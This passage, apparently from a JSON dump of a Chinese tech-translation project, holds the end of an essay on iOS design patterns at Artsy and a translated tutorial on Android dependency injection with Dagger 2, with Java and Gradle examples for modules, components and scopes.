中，因为它的依赖库 ReactiveCocoa 过于庞大。目前我们一直以内联的方式进行统计，因为 Energy 只有很少地方需要单独进行统计。如果你想要了解更多这个模式，请查看[面向切面编程与 ARAnalytics](http://artsy.github.io/blog/2014/08/04/aspect-oriented-programming-and-aranalytics/)。\n\n## 把类方法当做全局 API\n\n很长一段时间，我更喜欢基于类的 API 美学。比如使用类方法而不是实例方法。我一直是这么做。然而，一旦你开始给项目添加测试，这就会产生一些问题。\n\n我热衷于在测试内应用依赖注入的思想。这个有点复杂，简要来说， 就是传入一个额外的上下文，而不是一个对象自己找到上下文。常见的例子就是 `NSUserDefaults`。可能你的类并不需要知道你使用的是哪个 `NSUserDefault` 对象，而是你调用的方法在决定，比如 `[[NSUserDefaults standardUserDefaults] setObject:reminderID forKey:@\"ARReminderID\"];`。使用依赖注入将允许对象通过方法从外部传入。如果你想更深入了解这块，可以看看 [Jon Reid](http://qualitycoding.org/about/) 这篇  [objc.io](https://www.objc.io/issues/15-testing/dependency-injection/) [译文：依赖注入](http://objccn.io/issue-15-3/)。\n\n基于类的 API，它的问题在于变得很难注入对象。这不利于写出简洁快速的测试。你可以使用一个模拟（mocking）库来伪造类 API，但这感觉很奇怪。模拟（mocking）应该被用于你不控制的事物。如果你正在写 API，那么你就控制了这个对象。拥有一个实例对象意味着可以给不同的版本提供不同行为和值，如果你可以通过 [协议（protocol）](https://github.com/artsy/eigen/blob/e19ac594bf6240d076e8092d9c56e9876c94444e/Artsy/Networking/Network_Models/ARArtistNetworkModel.h) 减少实例上的行为，那会更好。\n\n## 对象隐匿地联网\n\n当你有一个复杂的应用，会有很多地方可以执行网络操作。我们在模型，视图控制器和视图都有过网络操作。基本上把纯粹的 MVC 模式给抛弃了。我们开始意识到 eigen 的设计模式，因为它以前的网络层并未抽象出来。如果你想要看到完整内容，请查看 [moya/Moya README](https://github.com/Moya/Moya)。\n\n我们企图通过构建不同类型的网络客户端来尝试修复这种模式，这客户端就是我所刚提到的 [Moya](https://github.com/Moya/Moya)。\n\n另一方面，是将网络层抽象成一个独立的对象。如果你听过 Model-View-ViewModel ([MVVM](http://www.teehanlax.com/blog/model-view-viewmodel-for-ios/))，这很相似，只是视图（View）换成网络操作。网络操作模型给我们提供了一个方法来将网络操作抽象成一系列行为。额外的抽象意味着“我想要关于 x 的东西，而不是发送一个 GET 给 x 地址，并且变成 y”。\n\n网络模型也使得在测试中交换行为变得极为容易。在 eigen，我们拥有异步网络，能[在测试中同步运行](https://github.com/artsy/eigen/pull/575)，但我们还是一直使用网络模型，从而可以在测试中提供[我们期望服务端返回的数据](https://github.com/artsy/eigen/blob/master/Artsy_Tests/View_Controller_Tests/Artist/ARArtistViewControllerTests.m#L29-L40) 。\n\n## 子类化超过两次\n\n为了提供一个类似但有点不同的行为，通过子类化是非常简单的。可能你需要[重写某个方法](https://github.com/artsy/eigen/blob/e19ac594bf6240d076e8092d9c56e9876c94444e/Artsy/View_Controllers/Web_Browsing/ARTopMenuInternalMobileWebViewController.m#L58)，或者添加一个[特殊的行为](https://github.com/artsy/eigen/blob/e19ac594bf6240d076e8092d9c56e9876c94444e/Artsy/View_Controllers/Web_Browsing/AREndOfLineInternalMobileWebViewController.h#L5)。但就像[温水煮青蛙](http://ezinearticles.com/?The-Boiled-Frog-Phenomenon&id=932310)的故事，随着层级结构加深，期望的行为被改变，最终你将获得难以理解的代码库。\n\n处理这种情况的一种模式是[类组件](http://stackoverflow.com/questions/9710411/ios-grasping-composition)。其思想是通过多个对象一起工作来取代一个对象处理多个事情。给每个对象提供更多的空间来遵循单一职责原则[（SRP）](https://en.wikipedia.org/wiki/Single_responsibility_principle)。如果你对这有兴趣，你可能也会对[类簇](https://developer.apple.com/library/ios/documentation/General/Conceptual/CocoaEncyclopedia/ClassClusters/ClassClusters.html)模式感兴趣。\n\n举一个来自 Energy 的好例子，我们的根视图控制器 `ARTopViewController` 过去常常控制自己的工具栏项目（toolbar items）。经过四年的时间这变得难以管理，在视图控制器有大量的额外代码。通过抽取控制工具栏项目（toolbar items）的实现细节到他们自己的类，从而让 `ARTopViewController` 展示自己想要做的而不是怎么做的。\n\n## 通过类间通信配置类\n\nEnergy 最重要的一部分就是 [email artworks](http://folio.artsy.net/)。配置你想要发送的邮件，然后根据设置生成 HTML，因此这会产生大量的代码。这个开始很简单，因为我们只有很少的应用设置。随着时间的推移，依据设置和它们如何影响邮件决定我们需要显示什么，这会变得很复杂。\n\n视图控制器里允许小伙伴选择各自想要传递给对象的细节，然后生成 HTML，这部分最终变得具有很强的代码异味，让你想要重写。我发现想要给类的行为写个简单的测试是很困难的。一开始我要模拟（mock） email 组件，然后检查我所调用的方法。这感觉是错的，因为你不应该模拟（mock）你自己的类。类提供了重要的功能，对于如何改进这部分代码，我想了很久。\n\n问题的解决灵感来自 Justin Searls 演说，[\"有时控制器只是控制器\"](https://speakerdeck.com/searls/sometimes-a-controller-is-just-a-controller)，特别是第[55](https://speakerdeck.com/searls/sometimes-a-controller-is-just-a-controller?slide=55)张 PPT。他谈到对象，要么持有并描述一个值，要么执行一个有用的行为，绝不要两者都有。\n\n我采纳了这个建议，重新评估了设置控制器和组件对象之间的关系。在改动之前，设置控制器会直接配置组件。现在，设置控制器创建了一个配置对象，供组件使用。这就使得给两个对象写测试变得极其简单，因为他们都有很明显的输入和输出，其格式是 [AREmailSettings](https://github.com/artsy/energy/blob/aa97d90cf37932d4c0f49ea4c4d31f7e491f16a6/Classes/Util/Emails/AREmailSettings.h)。[AREmailComposerTests](https://github.com/artsy/energy/blob/aa97d90cf37932d4c0f49ea4c4d31f7e491f16a6/ArtsyFolio%20Tests/Util/AREmailComposerTests.m) 也变得非常优雅。\n\n### 直接使用响应链\n\n在我去 Artsy 工作之前，我是一名 [Mac 开发者](http://i.imgur.com/Am9LjED.gif)，在 iOS 存在之前就一直是，所以这也影响了我的代码风格。Cocoa 工具链最主要的部分之一是[响应链](https://developer.apple.com/library/ios/documentation/EventHandling/Conceptual/EventHandlingiPhoneOS/event_delivery_responder_chain/event_delivery_responder_chain.html)，一个很好的记录方法传递一个已知的对象链。它解决了复杂视图结构的常见问题。你可以通过运行时，在很深的视图层级生成一个按钮，然后当它被点击时被视图控制器接收处理。你可以使用很长的代理方法链，或者使用[私有方法](https://twitter.com/unimp0rtanttech/status/555828778015129600)获得视图控制器实例的引用。在 Mac 开发，使用响应链是一种常见的模式，在 iOS 就使用得很少。\n\n我们在 Eigen 的视图控制器也有这种问题。有一些按钮在很深的视图层级，需要将信息传递到视图控制器。当我们第一次碰到这种问题，立即使用了响应链，你写了[几行代码](https://github.com/artsy/eigen/blob/e19ac594bf6240d076e8092d9c56e9876c94444e/Artsy/Views/Artwork/ARArtworkActionsView.m#L85)类似：`[bidButton addTarget:self action:@selector(tappedBidButton:) forControlEvents:UIControlEventTouchUpInside];`，其中 self 指向视图。这会向上传递信息 `tappedBidButton:` ，直到被  [ARArtworkViewController](https://github.com/artsy/eigen/blob/e19ac594bf6240d076e8092d9c56e9876c94444e/Artsy/View_Controllers/Artwork/ARArtworkViewController+ButtonActions.m#L114) 响应。\n\n我必须解释，响应链的前提是大多数人接触这块代码区域。在 [\"lucky 10,000”](https://xkcd.com/1053/) 这是可行的，但意味着这模式对于之前没听说过的人并不直观。还有一个的问题，缺乏耦合意味着通过重构重命名 selector 会打破响应链条。\n\n减少认知负担的方式是通过协议，所有响应链将会使用的动作都会通过类似 [ARArtworkActionsViewButtonDelegate](https://github.com/artsy/eigen/blob/e19ac594bf6240d076e8092d9c56e9876c94444e/Artsy/Views/Artwork/ARArtworkActionsView.h#L10-L20) 的协议映射。这有点善意谎言的意味，没有通过直接的关系来使用协议，但是它使得关系更加明显。我们使用类拓展（class extension）来[遵守这些类型的协议](https://github.com/artsy/eigen/blob/e19ac594bf6240d076e8092d9c56e9876c94444e/Artsy/View_Controllers/Artwork/ARArtworkViewController+ButtonActions.h#L11)，从而保持所有动作都在同一个地方。\n\n### 总结\n\n设计模式有很多，而它们全都来源于权衡。随着时间的推移，我们对于什么是\"好的代码\"的标准会变，这是好事。重要的是，作为开发者，我们明白，能改变我们思想的，才是我们工具链中最必不可少的技能之一。这意味着你要走出自己原本的认知范围，乐于接受那些外来的信息，或许，你会从中获得一些很不错的点子。对于创造应用持有热情是好的，不过我想，最好的程序员选择实用主义而不是理想主义。\n"
  },
  {
    "path": "TODO/Dependency-Injection-with-Dagger-2.md",
    "content": "> * 原文地址：[Dependency Injection with Dagger 2](https://github.com/codepath/android_guides/wiki/Dependency-Injection-with-Dagger-2)\n> * 原文作者：[CodePath](https://github.com/codepath)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者： [tanglie1993](https://github.com/tanglie1993)\n> * 校对者：[mnikn](https://github.com/mnikn), [Zhiw](https://github.com/Zhiw)\n\n# 用 Dagger 2 实现依赖注入\n\n## 概要 \n\n很多 Android 应用依赖于一些含有其它依赖的对象。例如，一个 Twitter API 客户端可能需要通过 [Retrofit](https://github.com/codepath/android_guides/wiki/Consuming-APIs-with-Retrofit) 之类的网络库来构建。要使用这个库，你可能还需要添加 [Gson](https://github.com/codepath/android_guides/wiki/Leveraging-the-Gson-Library) 这样的解析库。另外，实现认证或缓存的库可能需要使用 [shared preferences](https://github.com/codepath/android_guides/wiki/Storing-and-Accessing-SharedPreferences) 或其它通用存储方式。这就需要先把它们实例化，并创建一个隐含的依赖链。\n\n如果你不熟悉依赖注入，看看[这个](https://www.youtube.com/watch?v=IKD2-MAkXyQ)短视频。\n\nDagger 2 为你解析这些依赖，并生成把它们绑定在一起的代码。也有很多其它的 Java 依赖注入框架，但它们中大多数是有缺陷的，比如依赖 XML，需要在运行时验证依赖，或者在起始时造成性能负担。 [Dagger 2](http://google.github.io/dagger/) 纯粹依赖于 Java [注解解析器](https://www.youtube.com/watch?v=dOcs-NKK-RA)以及编译时检查来分析并验证依赖。它被认为是目前最高效的依赖注入框架之一。\n\n### 优点\n\n这是使用 Dagger 2 的一系列其它优势：\n\n * **简化共享实例访问**。就像 [ButterKnife](https://github.com/codepath/android_guides/wiki/Reducing-View-Boilerplate-with-Butterknife) 库简化了引用View， event handler 和 resources 的方式一样，Dagger 2 提供了一个简单的方式获取对共享对象的引用。例如，一旦我们在 Dagger 中声明了  `MyTwitterApiClient` 或 `SharedPreferences` 的单例，就可以用一个简单的 `@Inject` 标注来声明域：\n\n```java\npublic class MainActivity extends Activity {\n   @Inject MyTwitterApiClient mTwitterApiClient;\n   @Inject SharedPreferences sharedPreferences;\n\n   public void onCreate(Bundle savedInstance) {\n       // assign singleton instances to fields\n       InjectorClass.inject(this);\n   } \n```\n\n * **容易配置复杂的依赖关系**。 对象创建是有隐含顺序的。Dagger 2 遍历依赖关系图，并且[生成易于理解和追踪的代码](https://github.com/codepath/android_guides/wiki/Dependency-Injection-with-Dagger-2#code-generation)。而且，它可以节约大量的样板代码，使你不再需要手写，手动获取引用并把它们传递给其他对象作为依赖。它也简化了重构，因为你可以聚焦于构建模块本身，而不是它们被创建的顺序。\n\n * **更简单的单元和集成测试**  因为依赖图是为我们创建的，我们可以轻易换出用于创建网络响应的模块，并模拟这种行为。\n\n * **实例范围** 你不仅可以轻易地管理持续整个应用生命周期的实例，也可以利用 Dagger 2 来定义生命周期更短（比如和一个用户 session 或 Activity 生命周期相绑定）的实例。 \n\n### 设置\n\n默认的 Android Studio 不把生成的 Dagger 2 代码视作合法的类，因为它们通常并不被加入 source 路径。但引入 `android-apt` 插件后，它会把这些文件加入 IDE classpath，从而提供更好的可见性。\n\n确保[升级](https://github.com/codepath/android_guides/wiki/Getting-Started-with-Gradle#upgrading-gradle) 到最新的 Gradle 版本以使用最新的 `annotationProcessor` 语法: \n\n```gradle\ndependencies {\n    // apt command comes from the android-apt plugin\n    compile \"com.google.dagger:dagger:2.9\"\n    annotationProcessor \"com.google.dagger:dagger-compiler:2.9\"\n    provided 'javax.annotation:jsr250-api:1.0'\n}\n```\n\n注意 `provided` 关键词是指只在编译时需要的依赖。Dagger 编译器生成了用于生成依赖图的类，而这个依赖图是在你的源代码中定义的。这些类在编译过程中被添加到你的IDE classpath。`annotationProcessor` 关键字可以被 Android Gradle 插件理解。它不把这些类添加到 classpath 中，而只是把它们用于处理注解。这可以避免不小心引用它们。\n\n### 创建单例\n![Dagger 注入概要](https://raw.githubusercontent.com/codepath/android_guides/master/images/dagger_general.png)\n\n最简单的例子是用 Dagger 2 集中管理所有的单例。假设你不用任何依赖注入框架，在你的 Twitter 客户端中写下类似这些的东西：\n\n```java\nOkHttpClient client = new OkHttpClient();\n\n// Enable caching for OkHttp\nint cacheSize = 10 * 1024 * 1024; // 10 MiB\nCache cache = new Cache(getApplication().getCacheDir(), cacheSize);\nclient.setCache(cache);\n\n// Used for caching authentication tokens\nSharedPreferences sharedPrefeences = PreferenceManager.getDefaultSharedPreferences(this);\n\n// Instantiate Gson\nGson gson = new GsonBuilder().create();\nGsonConverterFactory converterFactory = GsonConverterFactory.create(gson);\n\n// Build Retrofit\nRetrofit retrofit = new Retrofit.Builder()\n                                .baseUrl(\"https://api.github.com\")\n                                .addConverterFactory(converterFactory)\n                                .client(client)  // custom client\n                                .build();\n```\n\n#### 声明你的单例\n\n你需要通过创建 Dagger 2 **模块**定义哪些对象应该作为依赖链的一部分。例如，假设我们想要创建一个 `Retrofit` 单例，使它绑定到应用生命周期，对所有的 Activity 和 Fragment 都可用，我们首先需要使 Dagger 意识到他可以提供 `Retrofit` 的实例。\n\n因为需要设置缓存，我们需要一个 Application context。我们的第一个 Dagger 模块，`AppModule.java`，被用于提供这个依赖。我们将定义一个 `@Provides` 注解，标注带有 `Application` 的构造方法:\n\n```java\n@Module\npublic class AppModule {\n\n    Application mApplication;\n\n    public AppModule(Application application) {\n        mApplication = application;\n    }\n\n    @Provides\n    @Singleton\n    Application providesApplication() {\n        return mApplication;\n    }\n}\n```\n\n我们创建了一个名为 `NetModule.java` 的类，并用 `@Module` 来通知 Dagger，在这里查找提供实例的方法。\n\n返回实例的方法也应当用 `@Provides` 标注。`Singleton` 标注通知 Dagger 编译器，实例在应用中只应被创建一次。在下面的例子中，我们把 `SharedPreferences`, `Gson`, `Cache`, `OkHttpClient`, 和 `Retrofit` 设置为在依赖列表中可用的类型。\n\n```java\n@Module\npublic class NetModule {\n\n    String mBaseUrl;\n    \n    // Constructor needs one parameter to instantiate.  \n    public NetModule(String baseUrl) {\n        this.mBaseUrl = baseUrl;\n    }\n\n    // Dagger will only look for methods annotated with @Provides\n    @Provides\n    @Singleton\n    // Application reference must come from AppModule.class\n    SharedPreferences providesSharedPreferences(Application application) {\n        return PreferenceManager.getDefaultSharedPreferences(application);\n    }\n\n    @Provides\n    @Singleton\n    Cache provideOkHttpCache(Application application) { \n        int cacheSize = 10 * 1024 * 1024; // 10 MiB\n        Cache cache = new Cache(application.getCacheDir(), cacheSize);\n        return cache;\n    }\n\n   @Provides \n   @Singleton\n   Gson provideGson() {  \n       GsonBuilder gsonBuilder = new GsonBuilder();\n       gsonBuilder.setFieldNamingPolicy(FieldNamingPolicy.LOWER_CASE_WITH_UNDERSCORES);\n       return gsonBuilder.create();\n   }\n\n   @Provides\n   @Singleton\n   OkHttpClient provideOkHttpClient(Cache cache) {\n      OkHttpClient client = new OkHttpClient();\n      client.setCache(cache);\n      return client;\n   }\n\n   @Provides\n   @Singleton\n   Retrofit provideRetrofit(Gson gson, OkHttpClient okHttpClient) {\n      Retrofit retrofit = new Retrofit.Builder()\n                .addConverterFactory(GsonConverterFactory.create(gson))\n                .baseUrl(mBaseUrl)\n                .client(okHttpClient)\n                .build();\n        return retrofit;\n    }\n}\n```\n\n注意，方法名称（比如 `provideGson()`, `provideRetrofit()` 等）是没关系的，可以任意设置。`@Provides` 被用于把这个实例化和其它同类的模块联系起来。`@Singleton` 标注用于通知 Dagger，它在整个应用的生命周期中只被初始化一次。\n\n一个 `Retrofit` 实例依赖于一个 `Gson` 和一个 `OkHttpClient` 实例，所以我们可以在同一个类中定义两个方法，来提供这两种实例。`@Provides` 标注和方法中的这两个参数将使 Dagger 意识到，构建一个 `Retrofit` 实例 需要依赖 `Gson` 和 `OkHttpClient`。\n\n#### 定义注入目标\n\nDagger 使你的 activity, fragment, 或 service 中的域可以通过 `@Inject` 注解和调用 `inject()` 方法被赋值。调用 `inject()` 将会使得 Dagger 2 在依赖图中寻找合适类型的单例。如果找到了一个，它就把引用赋值给对应的域。例如，在下面的例子中，它会尝试找到一个返回`MyTwitterApiClient` 和`SharedPreferences` 类型的 provider：\n\n```java\npublic class MainActivity extends Activity {\n   @Inject MyTwitterApiClient mTwitterApiClient;\n   @Inject SharedPreferences sharedPreferences;\n\n  public void onCreate(Bundle savedInstance) {\n       // assign singleton instances to fields\n       InjectorClass.inject(this);\n   } \n```\n\nDagger 2 中使用的注入者类被称为 **component**。它把先前定义的单例的引用传给 activity, service 或 fragment。我们需要用 `@Component` 来注解这个类。注意，需要被注入的 activity, service 或 fragment 需要在这里使用 `inject()` 方法注入： \n\n\n```java\n@Singleton\n@Component(modules={AppModule.class, NetModule.class})\npublic interface NetComponent {\n   void inject(MainActivity activity);\n   // void inject(MyFragment fragment);\n   // void inject(MyService service);\n}\n```\n\n**注意** 基类不能被作为注入的目标。Dagger 2 依赖于强类型的类，所以你必须指定哪些类会被定义。（有一些[建议](https://blog.gouline.net/2015/05/04/dagger-2-even-sharper-less-square/) 帮助你绕开这个问题，但这样做的话，代码可能会变得更复杂，更难以追踪。）\n\n#### 生成代码\n\nDagger 2 的一个重要特点是它会为标注 `@Component` 的接口生成类的代码。你可以使用带有 `Dagger` (比如 `DaggerTwitterApiComponent.java`) 前缀的类来为依赖图提供实例，并用它来完成用 `@Inject` 注解的域的注入。 参见[设置](https://github.com/xitu/gold-miner/pull/1484#%E8%AE%BE%E7%BD%AE)。\n\n### 实例化组件\n\n我们应该在一个 `Application` 类中完成这些工作，因为这些实例应当在 application 的整个周期中只被声明一次：\n\n```java\npublic class MyApp extends Application {\n\n    private NetComponent mNetComponent;\n\n    @Override\n    public void onCreate() {\n        super.onCreate();\n        \n        // Dagger%COMPONENT_NAME%\n        mNetComponent = DaggerNetComponent.builder()\n                // list of modules that are part of this component need to be created here too\n                .appModule(new AppModule(this)) // This also corresponds to the name of your module: %component_name%Module\n                .netModule(new NetModule(\"https://api.github.com\"))\n                .build();\n\n        // If a Dagger 2 component does not have any constructor arguments for any of its modules,\n        // then we can use .create() as a shortcut instead:\n        //  mNetComponent = com.codepath.dagger.components.DaggerNetComponent.create();\n    }\n\n    public NetComponent getNetComponent() {\n       return mNetComponent;\n    }\n}\n```\n\n如果你不能引用 Dagger 组件，rebuild 整个项目 (在 Android Studio 中，选择 _Build > Rebuild Project_)。\n\n因为我们在覆盖默认的 `Application` 类，我们同样需要修改应用的 `name` 以启动 `MyApp`。这样，你的 application 将会使用这个 application 类来处理最初的实例化。\n\n```xml\n<application\n      android:allowBackup=\"true\"\n      android:name=\".MyApp\">\n```\n\n在我们的 activity 中，我们只需要获取这些 components 的引用，并调用 `inject()`。\n\n```java\npublic class MyActivity extends Activity {\n  @Inject OkHttpClient mOkHttpClient;\n  @Inject SharedPreferences sharedPreferences;\n\n  public void onCreate(Bundle savedInstance) {\n        // assign singleton instances to fields\n        // We need to cast to `MyApp` in order to get the right method\n        ((MyApp) getApplication()).getNetComponent().inject(this);\n    } \n```\n \n### 限定词类型\n\n![Dagger Qualifiers](https://raw.githubusercontent.com/codepath/android_guides/master/images/dagger_qualifiers.png)\n\n如果我们需要同一类型的两个不同对象，我们可以使用 `@Named` 限定词注解。 你需要定义你如何提供单例 (用 `@Provides` 注解)，以及你从哪里注入它们(用 `@Inject` 注解):\n\n```java\n@Provides @Named(\"cached\")\n@Singleton\nOkHttpClient provideOkHttpClient(Cache cache) {\n    OkHttpClient client = new OkHttpClient();\n    client.setCache(cache);\n    return client;\n}\n\n@Provides @Named(\"non_cached\") @Singleton\nOkHttpClient provideOkHttpClient() {\n    OkHttpClient client = new OkHttpClient();\n    return client;\n}\n```\n\n注入同样需要这些 named 注解：\n\n```java\n@Inject @Named(\"cached\") OkHttpClient client;\n@Inject @Named(\"non_cached\") OkHttpClient client2;\n```\n\n`@Named` 是一个被 Dagger 预先定义的限定语，但你也可以创建你自己的限定语注解：\n\n```java\n@Qualifier\n@Documented\n@Retention(RUNTIME)\npublic @interface DefaultPreferences {\n}\n```\n\n### 作用域\n![Dagger 作用域](https://raw.githubusercontent.com/codepath/android_guides/master/images/dagger_scopes.png)\n\n在 Dagger 2 中，你可以通过自定义作用域来定义组件应当如何封装。例如，你可以创建一个只持续 activity 或 fragment 整个生命周期的作用域。你也可以创建一个对应一个用户认证 session 的作用域。 你可以定义任意数量的自定义作用域注解，只要你把它们声明为 public `@interface`：\n```java\n@Scope\n@Documented\n@Retention(value=RetentionPolicy.RUNTIME)\npublic @interface MyActivityScope\n{\n}\n```\n\n虽然 Dagger 2 在运行时不依赖注解，把 `RetentionPolicy` 设置为 RUNTIME 对于将来检查你的 module 将是很有用的。\n\n### 依赖组件和子组件\n\n利用作用域，我们可以创建 **依赖组件** 或 **子组件**。上面的例子中，我们使用了 `@Singleton` 注解，它持续了整个应用的生命周期。我们也依赖了一个主要的 Dagger 组件。  \n\n如果我们不需要组件总是存在于内存中（例如，和 activity 或 fragment 生命周期绑定，或在用户登录时绑定），我们可以创建依赖组件和子组件。它们各自提供了一种封装你的代码的方式。我们将在下一节中看到如何使用它们。\n\n在使用这种方法时，有若干问题要注意：\n\n  * **依赖组件需要父组件显式指定哪些依赖可以在下游注入，而子组件不需要** 对父组件而言，你需要通过指定类型和方法来向下游组件暴露这些依赖：\n\n```java\n// parent component\n@Singleton\n@Component(modules={AppModule.class, NetModule.class})\npublic interface NetComponent {\n    // remove injection methods if downstream modules will perform injection\n\n    // downstream components need these exposed\n    // the method name does not matter, only the return type\n    Retrofit retrofit(); \n    OkHttpClient okHttpClient();\n    SharedPreferences sharedPreferences();\n}\n```\n\n   如果你忘记加入这一行，你将有可能看到一个关于注入目标缺失的错误。就像 private/public 变量的管理方式一样，使用一个 parent 组件可以更显式地控制，也可保证更好的封装。使用子组件使得依赖注入更容易管理，但封装得更差。\n   \n   \n  * **两个依赖组件不能使用同一个作用域** 例如，两个组件不能都用 `@Singleton` 注解设置定义域。这个限制的原因在 [这里](https://github.com/google/dagger/issues/107#issuecomment-71073298) 有所说明。依赖组件需要定义它们自己的作用域。\n\n  * **Dagger 2 同样允许使用带作用域的实例。你需要负责在合适的时机创建和销毁引用。**  Dagger 2 对底层实现一无所知。这个 Stack Overflow [讨论](http://stackoverflow.com/questions/28411352/what-determines-the-lifecycle-of-a-component-object-graph-in-dagger-2) 上有更多的细节。\n  \n#### 依赖组件\n\n![Dagger 组件依赖](https://raw.githubusercontent.com/codepath/android_guides/master/images/dagger_dependency.png)\n\n如果你想要创建一个组件，使它的生命周期和已登录用户的 session 相绑定，就可以创建 `UserScope` 接口：\n\n```java\nimport java.lang.annotation.Retention;\nimport javax.inject.Scope;\n\n@Scope\npublic @interface UserScope {\n}\n```\n\n接下来，我们定义父组件：\n\n```java\n  @Singleton\n  @Component(modules={AppModule.class, NetModule.class})\n  public interface NetComponent {\n      // downstream components need these exposed with the return type\n      // method name does not really matter\n      Retrofit retrofit();\n  }\n```\n\n接下来定义子组件：\n\n```java\n@UserScope // using the previously defined scope, note that @Singleton will not work\n@Component(dependencies = NetComponent.class, modules = GitHubModule.class)\npublic interface GitHubComponent {\n    void inject(MainActivity activity);\n}\n```\n\n假定 Github 模块只是把 API 接口返回给 Github API:\n\n```java\n\n@Module\npublic class GitHubModule {\n\n    public interface GitHubApiInterface {\n      @GET(\"/org/{orgName}/repos\")\n      Call<ArrayList<Repository>> getRepository(@Path(\"orgName\") String orgName);\n    }\n\n    @Provides\n    @UserScope // needs to be consistent with the component scope\n    public GitHubApiInterface providesGitHubInterface(Retrofit retrofit) {\n        return retrofit.create(GitHubApiInterface.class);\n    }\n}\n```\n\n为了让这个 `GitHubModule.java` 获得对 `Retrofit` 实例的引用，我们需要在上游组件中显式定义它们。如果下游模块会执行注入，它们也应当被从上游组件中移除：\n\n```java\n@Singleton\n@Component(modules={AppModule.class, NetModule.class})\npublic interface NetComponent {\n    // remove injection methods if downstream modules will perform injection\n\n    // downstream components need these exposed\n    Retrofit retrofit();\n    OkHttpClient okHttpClient();\n    SharedPreferences sharedPreferences();\n}\n```\n\n最终的步骤是用 `GitHubComponent` 进行实例化。这一次，我们需要首先实现 `NetComponent` 并把它传递给 `DaggerGitHubComponent` builder 的构造方法：\n\n```java\nNetComponent mNetComponent = DaggerNetComponent.builder()\n                .appModule(new AppModule(this))\n                .netModule(new NetModule(\"https://api.github.com\"))\n                .build();\n\nGitHubComponent gitHubComponent = DaggerGitHubComponent.builder()\n                .netComponent(mNetComponent)\n                .gitHubModule(new GitHubModule())\n                .build();\n```\n\n[示例代码](https://github.com/codepath/dagger2-example) 中有一个实际的例子。\n\n#### 子组件\n\n![Dagger 子组件](https://raw.githubusercontent.com/codepath/android_guides/master/images/dagger_subcomponent.png)\n\n使用子组件是扩展组件对象图的另一种方式。就像带有依赖的组件一样，子组件有自己的生命周期，而且在所有对子组件的引用都失效之后，可以被垃圾回收。此外它们作用域的限制也一样。使用这个方式的一个优点是你不需要定义所有的下游组件。\n\n另一个主要的不同是，子组件需要在父组件中声明。\n\n这是为一个 activity 使用子组件的例子。我们用自定义作用域和 `@Subcomponent` 注解这个类：\n\n```java\n@MyActivityScope\n@Subcomponent(modules={ MyActivityModule.class })\npublic interface MyActivitySubComponent {\n    @Named(\"my_list\") ArrayAdapter myListAdapter();\n}\n```\n\n被使用的模块在下面定义：\n\n```java\n@Module\npublic class MyActivityModule {\n    private final MyActivity activity;\n\n    // must be instantiated with an activity\n    public MyActivityModule(MyActivity activity) { this.activity = activity; }\n   \n    @Provides @MyActivityScope @Named(\"my_list\")\n    public ArrayAdapter providesMyListAdapter() {\n        return new ArrayAdapter<String>(activity, android.R.layout.my_list);\n    }\n    ...\n}\n```\n\n最后，在**父组件**中，我们将定义一个工厂方法，它以这个组件的类型作为返回值，并定义初始化所需的依赖：\n\n```java\n@Singleton\n@Component(modules={ ... })\npublic interface MyApplicationComponent {\n    // injection targets here\n\n    // factory method to instantiate the subcomponent defined here (passing in the module instance)\n    MyActivitySubComponent newMyActivitySubcomponent(MyActivityModule activityModule);\n}\n```\n\n在上面的例子中，一个子组件的新实例将在每次 `newMyActivitySubcomponent()` 调用时被创建。把这个子模块注入一个 activity 中：\n\n```java\npublic class MyActivity extends Activity {\n  @Inject ArrayAdapter arrayAdapter;\n\n  public void onCreate(Bundle savedInstance) {\n        // assign singleton instances to fields\n        // We need to cast to `MyApp` in order to get the right method\n        ((MyApp) getApplication()).getApplicationComponent())\n            .newMyActivitySubcomponent(new MyActivityModule(this))\n            .inject(this);\n    } \n}\n```\n\n#### 子组件 builder\n*从 v2.7 版本起可用*\n\n![Dagger 子组件 builder](https://raw.githubusercontent.com/codepath/android_guides/master/images/subcomponent_builders.png)\n\n子组件 builder 使创建子组件的类和子组件的父类解耦。这是通过移除父组件中的子组件工厂方法实现的。\n\n```java\n@MyActivityScope\n@Subcomponent(modules={ MyActivityModule.class })\npublic interface MyActivitySubComponent {\n    ...\n    @Subcomponent.Builder\n    interface Builder extends SubcomponentBuilder<MyActivitySubComponent> {\n        Builder activityModule(MyActivityModule module);\n    }\n}\n\npublic interface SubcomponentBuilder<V> {\n    V build();\n}\n```\n\n子组件是在子组件接口内部的接口中声明的。它必须含有一个  `build()` 方法，其返回值和子组件相匹配。用这个方法声明一个基接口是很方便的，就像上面的`SubcomponentBuilder` 一样。这个新的 **builder 必须被加入父组件的图中**，而这是用一个 \"binder\" 模块和一个 \"subcomponents\" 参数实现的:\n\n```java\n@Module(subcomponents={ MyActivitySubComponent.class })\npublic abstract class ApplicationBinders {\n    // Provide the builder to be included in a mapping used for creating the builders.\n    @Binds @IntoMap @SubcomponentKey(MyActivitySubComponent.Builder.class)\n    public abstract SubcomponentBuilder myActivity(MyActivitySubComponent.Builder impl);\n}\n\n@Component(modules={..., ApplicationBinders.class})\npublic interface ApplicationComponent {\n    // Returns a map with all the builders mapped by their class.\n    Map<Class<?>, Provider<SubcomponentBuilder>> subcomponentBuilders();\n}\n\n// Needed only to to create the above mapping\n@MapKey @Target({ElementType.METHOD}) @Retention(RetentionPolicy.RUNTIME)\npublic @interface SubcomponentKey {\n    Class<?> value();\n}\n```\n\n一旦 builder 在出现在组件图中，activity 就可以用它来创建子组件：\n\n```java\npublic class MyActivity extends Activity {\n  @Inject ArrayAdapter arrayAdapter;\n\n  public void onCreate(Bundle savedInstance) {\n        // assign singleton instances to fields\n        // We need to cast to `MyApp` in order to get the right method\n        MyActivitySubcomponent.Builder builder = (MyActivitySubcomponent.Builder)\n            ((MyApp) getApplication()).getApplicationComponent())\n            .subcomponentBuilders()\n            .get(MyActivitySubcomponent.Builder.class)\n            .get();\n        builder.activityModule(new MyActivityModule(this)).build().inject(this);\n    } \n}\n```\n\n## ProGuard\n\nDagger 2 应当在没有 ProGuard 时可以直接使用，但是如果你看到了 `library class dagger.producers.monitoring.internal.Monitors$1 extends or implements program class javax.inject.Provider`，你需要确认你的 gradle 配置使用了 `annotationProcessor` 声明，而不是 `provided`。\n\n## 常见问题\n\n* 如果你在升级 Dagger 版本（比如从 v2.0 升级到 v 2.5），一些被生成的代码会改变。如果你在集成使用旧版本 Dagger 生成的代码，你可能会看到 `MemberInjector` 和 `actual and former argument lists different in length` 错误。确保你 clean 过整个项目，并且把所有版本升级到和 Dagger 2 相匹配的版本。\n\n## 参考资料\n\n* [Dagger 2 Github 